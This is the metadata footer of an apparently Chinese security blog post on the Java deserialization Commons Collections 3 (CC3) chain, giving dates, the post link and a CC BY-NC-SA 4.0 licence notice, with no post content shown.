  • 创建于 : 2026-05-14 00:00:00
  • 更新于 : 2026-05-24 19:53:26
  • 链接: https://s0lowalker.github.io/2026/05/14/java反序列化之CC3/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论